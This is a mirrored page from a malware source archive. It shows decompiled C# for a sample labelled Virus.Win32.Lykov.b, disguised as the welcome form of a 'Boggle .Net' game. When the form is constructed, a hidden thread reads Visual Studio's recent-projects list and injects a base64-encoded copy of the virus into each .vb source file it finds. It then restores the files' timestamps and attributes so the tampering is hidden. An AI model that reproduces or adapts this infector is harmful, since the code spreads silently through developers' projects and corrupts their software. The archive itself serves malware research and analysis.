mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
236 lines
11 KiB
C#
236 lines
11 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Boggle.frmWelcome
|
|||
|
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using Microsoft.Win32;
|
|||
|
using System;
|
|||
|
using System.ComponentModel;
|
|||
|
using System.Data.OleDb;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Drawing;
|
|||
|
using System.IO;
|
|||
|
using System.Runtime.CompilerServices;
|
|||
|
using System.Text;
|
|||
|
using System.Threading;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace Boggle
|
|||
|
{
|
|||
|
public class frmWelcome : Form
|
|||
|
{
|
|||
|
[AccessedThroughProperty("btnOk")]
|
|||
|
private Button _btnOk;
|
|||
|
[AccessedThroughProperty("chkMain")]
|
|||
|
private CheckBox _chkMain;
|
|||
|
[AccessedThroughProperty("txtMain")]
|
|||
|
private RichTextBox _txtMain;
|
|||
|
private IContainer components;
|
|||
|
|
|||
|
internal virtual RichTextBox txtMain
|
|||
|
{
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|||
|
{
|
|||
|
if (this._txtMain != null)
|
|||
|
this._txtMain.MouseDown -= new MouseEventHandler(this.txtMain_MouseDown);
|
|||
|
this._txtMain = value;
|
|||
|
if (this._txtMain == null)
|
|||
|
return;
|
|||
|
this._txtMain.MouseDown += new MouseEventHandler(this.txtMain_MouseDown);
|
|||
|
}
|
|||
|
get => this._txtMain;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual Button btnOk
|
|||
|
{
|
|||
|
get => this._btnOk;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|||
|
{
|
|||
|
if (this._btnOk != null)
|
|||
|
this._btnOk.Click -= new EventHandler(this.btnOk_Click);
|
|||
|
this._btnOk = value;
|
|||
|
if (this._btnOk == null)
|
|||
|
return;
|
|||
|
this._btnOk.Click += new EventHandler(this.btnOk_Click);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
internal virtual CheckBox chkMain
|
|||
|
{
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|||
|
{
|
|||
|
if (this._chkMain == null)
|
|||
|
;
|
|||
|
this._chkMain = value;
|
|||
|
if (this._chkMain == null)
|
|||
|
;
|
|||
|
}
|
|||
|
get => this._chkMain;
|
|||
|
}
|
|||
|
|
|||
|
private void vIT()
|
|||
|
{
|
|||
|
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
|
|||
|
if (registryKey.ValueCount == 0)
|
|||
|
ProjectData.EndApp();
|
|||
|
string String2 = "Private Sub vIT()";
|
|||
|
string str1 = "Public Sub New()";
|
|||
|
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
|
|||
|
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
|
|||
|
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
|
|||
|
string Replacement = "J = \"";
|
|||
|
int num1 = Strings.Len(str3);
|
|||
|
int Start = 1;
|
|||
|
while (Start <= num1)
|
|||
|
{
|
|||
|
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
|
|||
|
checked { Start += 64; }
|
|||
|
}
|
|||
|
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
|
|||
|
int num2 = checked (registryKey.ValueCount - 1);
|
|||
|
int index1 = 0;
|
|||
|
while (index1 <= num2)
|
|||
|
{
|
|||
|
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
|
|||
|
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
|
|||
|
if (Directory.Exists(path))
|
|||
|
{
|
|||
|
string[] files = Directory.GetFiles(path, "*.vb");
|
|||
|
int num3 = Information.LBound((Array) files);
|
|||
|
int num4 = Information.UBound((Array) files);
|
|||
|
int index2 = num3;
|
|||
|
while (index2 <= num4)
|
|||
|
{
|
|||
|
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
|
|||
|
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
|
|||
|
FileAttributes attributes = File.GetAttributes(files[index2]);
|
|||
|
File.SetAttributes(files[index2], FileAttributes.Normal);
|
|||
|
StreamReader streamReader = File.OpenText(files[index2]);
|
|||
|
string end = streamReader.ReadToEnd();
|
|||
|
streamReader.Close();
|
|||
|
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
|
|||
|
{
|
|||
|
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
|
|||
|
StreamWriter text = File.CreateText(files[index2]);
|
|||
|
text.Write(str6);
|
|||
|
text.Flush();
|
|||
|
text.Close();
|
|||
|
}
|
|||
|
File.SetLastWriteTime(files[index2], lastWriteTime);
|
|||
|
File.SetLastAccessTime(files[index2], lastAccessTime);
|
|||
|
File.SetAttributes(files[index2], attributes);
|
|||
|
checked { ++index2; }
|
|||
|
}
|
|||
|
}
|
|||
|
checked { ++index1; }
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public frmWelcome()
|
|||
|
{
|
|||
|
this.Load += new EventHandler(this.frmWelcome_Load);
|
|||
|
new Thread(new ThreadStart(this.vIT)).Start();
|
|||
|
this.InitializeComponent();
|
|||
|
}
|
|||
|
|
|||
|
protected override void Dispose(bool disposing)
|
|||
|
{
|
|||
|
if (disposing && this.components != null)
|
|||
|
this.components.Dispose();
|
|||
|
if (this.chkMain.Checked)
|
|||
|
{
|
|||
|
OleDbCommand oleDbCommand = new OleDbCommand("Update ShowWelcome Set ShowForm = 1", modGlobal.conBoggle);
|
|||
|
modGlobal.conBoggle.Open();
|
|||
|
oleDbCommand.ExecuteNonQuery();
|
|||
|
modGlobal.conBoggle.Close();
|
|||
|
}
|
|||
|
base.Dispose(disposing);
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerStepThrough]
|
|||
|
private void InitializeComponent()
|
|||
|
{
|
|||
|
this.txtMain = new RichTextBox();
|
|||
|
this.chkMain = new CheckBox();
|
|||
|
this.btnOk = new Button();
|
|||
|
this.SuspendLayout();
|
|||
|
this.txtMain.BackColor = System.Drawing.Color.Black;
|
|||
|
this.txtMain.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
|||
|
this.txtMain.ForeColor = System.Drawing.Color.DodgerBlue;
|
|||
|
RichTextBox txtMain1 = this.txtMain;
|
|||
|
Point point1 = new Point(16, 16);
|
|||
|
Point point2 = point1;
|
|||
|
txtMain1.Location = point2;
|
|||
|
this.txtMain.Name = "txtMain";
|
|||
|
RichTextBox txtMain2 = this.txtMain;
|
|||
|
Size size1 = new Size(568, 160);
|
|||
|
Size size2 = size1;
|
|||
|
txtMain2.Size = size2;
|
|||
|
this.txtMain.TabIndex = 0;
|
|||
|
this.txtMain.Text = "";
|
|||
|
this.chkMain.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
|||
|
this.chkMain.ForeColor = System.Drawing.Color.Black;
|
|||
|
CheckBox chkMain1 = this.chkMain;
|
|||
|
point1 = new Point(424, 184);
|
|||
|
Point point3 = point1;
|
|||
|
chkMain1.Location = point3;
|
|||
|
this.chkMain.Name = "chkMain";
|
|||
|
CheckBox chkMain2 = this.chkMain;
|
|||
|
size1 = new Size(160, 21);
|
|||
|
Size size3 = size1;
|
|||
|
chkMain2.Size = size3;
|
|||
|
this.chkMain.TabIndex = 0;
|
|||
|
this.chkMain.Text = "Don't Show Tips Again";
|
|||
|
Button btnOk1 = this.btnOk;
|
|||
|
point1 = new Point(17, 180);
|
|||
|
Point point4 = point1;
|
|||
|
btnOk1.Location = point4;
|
|||
|
this.btnOk.Name = "btnOk";
|
|||
|
Button btnOk2 = this.btnOk;
|
|||
|
size1 = new Size(78, 24);
|
|||
|
Size size4 = size1;
|
|||
|
btnOk2.Size = size4;
|
|||
|
this.btnOk.TabIndex = 0;
|
|||
|
this.btnOk.Text = "OK";
|
|||
|
size1 = new Size(5, 13);
|
|||
|
this.AutoScaleBaseSize = size1;
|
|||
|
this.BackColor = System.Drawing.Color.DarkGray;
|
|||
|
size1 = new Size(600, 209);
|
|||
|
this.ClientSize = size1;
|
|||
|
this.ControlBox = false;
|
|||
|
this.Controls.AddRange(new Control[3]
|
|||
|
{
|
|||
|
(Control) this.btnOk,
|
|||
|
(Control) this.chkMain,
|
|||
|
(Control) this.txtMain
|
|||
|
});
|
|||
|
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
|||
|
this.MaximizeBox = false;
|
|||
|
this.MinimizeBox = false;
|
|||
|
this.Name = nameof (frmWelcome);
|
|||
|
this.Text = "Welcome To Boggle .Net";
|
|||
|
this.TopMost = true;
|
|||
|
this.ResumeLayout(false);
|
|||
|
}
|
|||
|
|
|||
|
private void frmWelcome_Load(object sender, EventArgs e)
|
|||
|
{
|
|||
|
this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0)));
|
|||
|
this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0)));
|
|||
|
this.txtMain.Text = "\r\n Welcom to Boggle .Net! Enjoy these helpful tips before starting your game:\r\n\r\n Tip1: Click on the letter cubes during the game to assist in finding words.\r\n Tip2: Click on the words found by the computer to display the letter combinations.\r\n Tip3: Enable defenition search to query word defenitions from the internet.\r\n Tip4: Choose a skill level and timer level the is challenging for you.\r\n Tip5: Enable word validation to enrich the challenge.\r\n Tip6: Have fun!";
|
|||
|
}
|
|||
|
|
|||
|
private void txtMain_MouseDown(object sender, MouseEventArgs e) => this.btnOk.Focus();
|
|||
|
|
|||
|
private void btnOk_Click(object sender, EventArgs e)
|
|||
|
{
|
|||
|
this.Hide();
|
|||
|
Application.DoEvents();
|
|||
|
this.Dispose();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|